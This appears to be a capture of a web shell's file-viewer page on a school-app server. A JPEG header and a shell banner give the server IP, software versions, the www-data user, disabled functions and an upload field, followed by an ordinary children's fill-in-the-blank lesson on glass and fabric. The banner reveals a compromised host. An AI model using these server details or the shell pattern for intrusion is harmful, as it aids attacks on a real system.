????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelG/Category2/ |
Upload File : |
<!doctype html>
<html>
<head>
<title>Write about material glass and fabric</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
s_setDeviceTypeLevelCategoryLastLesson(Level.G, Category.No2);
s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.G, Category.No2, 9), true, true);
s_setFooterTable('id_tblFooter', true, true, true, true, true);
var ids_texts = new Array();
for (var textId = 1; textId <= 15; textId++)
{
ids_texts.push('id_td_text' + textId);
}
var ids_textBoxes = new Array();
var ids_td_textboxes = new Array();
for (var textBoxId = 1; textBoxId <= 11; textBoxId++)
{
var idTdTextBox = 'id_td_textBox' + textBoxId;
var idTextBox = 'id_textBox' + textBoxId;
var eTextBox = document.getElementById(idTextBox);
eTextBox.value = '';
if (s_currentDeviceType == s_DeviceTypeAndroidDeviceApp)
{
eTextBox.style.border = 'solid 2px black';
}
ids_textBoxes.push(idTextBox);
ids_td_textboxes.push(idTdTextBox);
}
var ids_All = ids_texts.concat(ids_td_textboxes);
s_adjust_fontSize_for_ids_all_devices(ids_All, 70);
s_adjust_fontSize_for_ids_all_devices(ids_textBoxes, 60);
var id_tables_array = ['id_table2', 'id_table3'];
s_border_collapse_for_tables_except_android(id_tables_array);
}
function page_onLoad()
{
}
function btnValidate_click()
{
var eTextBox1 = document.getElementById('id_textBox1');
var eTextBox2 = document.getElementById('id_textBox2');
var eTextBox3 = document.getElementById('id_textBox3');
var eTextBox4 = document.getElementById('id_textBox4');
var eTextBox5 = document.getElementById('id_textBox5');
var eTextBox6 = document.getElementById('id_textBox6');
var eTextBox7 = document.getElementById('id_textBox7');
var eTextBox8 = document.getElementById('id_textBox8');
var eTextBox9 = document.getElementById('id_textBox9');
var eTextBox10 = document.getElementById('id_textBox10');
var eTextBox11 = document.getElementById('id_textBox11');
if ((eTextBox1.isCorrect == true) &&
(eTextBox2.isCorrect == true) &&
(eTextBox3.isCorrect == true) &&
(eTextBox4.isCorrect == true) &&
(eTextBox5.isCorrect == true) &&
(eTextBox6.isCorrect == true) &&
(eTextBox7.isCorrect == true) &&
(eTextBox8.isCorrect == true) &&
(eTextBox9.isCorrect == true) &&
(eTextBox10.isCorrect == true) &&
(eTextBox11.isCorrect == true))
{
s_show_claps_animation('s_id_div_message');
}
}
function validateSentence(id_textBox)
{
var eTextBox = document.getElementById(id_textBox);
var inputText = eTextBox.value;
var enteredTextArray = inputText.split(" ");
var trimmedText = '';
for (var textIndex = 0; textIndex < enteredTextArray.length; textIndex++)
{
if (enteredTextArray[textIndex].trim() != '')
{
trimmedText += enteredTextArray[textIndex].trim() + ' ';
}
}
trimmedText = trimmedText.trim().toUpperCase();
var correctText = getCorrectText(id_textBox);
eTextBox.isCorrect = (trimmedText == correctText) ? true : false;
}
function getCorrectText(id_textBox)
{
var correctText = '';
if (id_textBox == 'id_textBox1')
{
correctText = 'SAND';
}
else if (id_textBox == 'id_textBox2')
{
correctText = 'TOUGH';
}
else if (id_textBox == 'id_textBox3')
{
correctText = 'HARD';
}
else if (id_textBox == 'id_textBox4')
{
correctText = 'CLEAR';
}
else if (id_textBox == 'id_textBox5')
{
correctText = 'SMOKY';
}
else if (id_textBox == 'id_textBox6')
{
correctText = 'COTTON';
}
else if (id_textBox == 'id_textBox7')
{
correctText = 'WOOL';
}
else if (id_textBox == 'id_textBox8')
{
correctText = 'WEAVING';
}
else if (id_textBox == 'id_textBox9')
{
correctText = 'KNITTING';
}
else if (id_textBox == 'id_textBox10')
{
correctText = 'PRESSING';
}
else if (id_textBox == 'id_textBox11')
{
correctText = 'FLEXIBLE';
}
return (correctText);
}
function btnHome_click()
{
s_btnHomeCategories_click('LevelG');
}
function btnPrevious_click()
{
window.location = 'LevelGCat2Lesson08.html';
}
function btnNext_click()
{
window.location = 'LevelGCat2Lesson10.html';
}
</script>
</head>
<body onload="page_onLoad()">
<div id="s_id_div_message"></div>
<table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="50%">
<td style="padding-bottom:0px">
<table id="id_table2" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
<tr height="50%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text1" class="s_style_heading" width="50%" align="left"><u>Write about material glass</u>:</td>
<td width="*" align="left">
<img src="../../../img/LevelG/Category2/LevelGCat2Lesson09/glass.png" width="55%" alt="" draggable="false"/>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text2" class="s_style_textBlack_padding_left" width="28%" align="left">Glass is made of</td>
<td id="id_td_textBox1" width="16%" align="center">
<textarea id="id_textBox1" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox1')">
</textarea>
</td>
<td id="id_td_text3" class="s_style_textBlack_padding_left" width="*" align="left">. Some glasses are very</td>
<td id="id_td_textBox2" width="16%" align="center">
<textarea id="id_textBox2" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox2')">
</textarea>
</td>
</tr>
</table>
</td>
</tr>
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text4" class="s_style_textBlack_padding_left" width="8%" align="left">and</td>
<td id="id_td_textBox3" width="16%" align="center">
<textarea id="id_textBox3" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox3')">
</textarea>
</td>
<td id="id_td_text5" class="s_style_textBlack_padding_left" width="*" align="left">and some are very
delicate. Some glasses are</td>
</tr>
</table>
</td>
</tr>
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_textBox4" width="20%" align="center">
<textarea id="id_textBox4" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox4')">
</textarea>
</td>
<td id="id_td_text6" class="s_style_textBlack_padding_left" width="50%" align="left">and transparent and some are</td>
<td id="id_td_textBox5" width="20%" align="center">
<textarea id="id_textBox5" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox5')">
</textarea>
</td>
<td id="id_td_text7" class="s_style_textBlack" width="*" align="left">.</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table id="id_table3" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
<tr height="50%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text8" class="s_style_heading" width="50%" align="left"><u>Write about material fabric</u>:</td>
<td width="*" align="left">
<img src="../../../img/LevelG/Category2/LevelGCat2Lesson09/fabric.png" width="35%" alt="" draggable="false"/>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text9" class="s_style_textBlack_padding_left" width="35%" align="left">Fabrics are made by</td>
<td id="id_td_textBox6" width="20%" align="center">
<textarea id="id_textBox6" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox6')">
</textarea>
</td>
<td id="id_td_text10" class="s_style_textBlack" width="3%" align="left">,</td>
<td id="id_td_textBox7" width="20%" align="center">
<textarea id="id_textBox7" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox7')">
</textarea>
</td>
<td id="id_td_text11" class="s_style_textBlack_padding_left" width="*" align="left">threads by</td>
</tr>
</table>
</td>
</tr>
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_textBox8" width="18%" align="center">
<textarea id="id_textBox8" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox8')">
</textarea>
</td>
<td id="id_td_text12" class="s_style_textBlack" width="3%" align="left">,</td>
<td id="id_td_textBox9" width="18%" align="center">
<textarea id="id_textBox9" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox9')">
</textarea>
</td>
<td id="id_td_text13" class="s_style_textBlack" width="8%" align="left">, or</td>
<td id="id_td_textBox10" width="18%" align="center">
<textarea id="id_textBox10" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox10')">
</textarea>
</td>
<td id="id_td_text14" class="s_style_textBlack_padding_left" width="*" align="left">together. Fabric is</td>
</tr>
</table>
</td>
</tr>
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_textBox11" width="20%" align="center">
<textarea id="id_textBox11" class="s_style_droppable_dash" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox11')">
</textarea>
</td>
<td id="id_td_text15" class="s_style_textBlack_padding_left" align="left">material.</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
</script>
</body>
</html>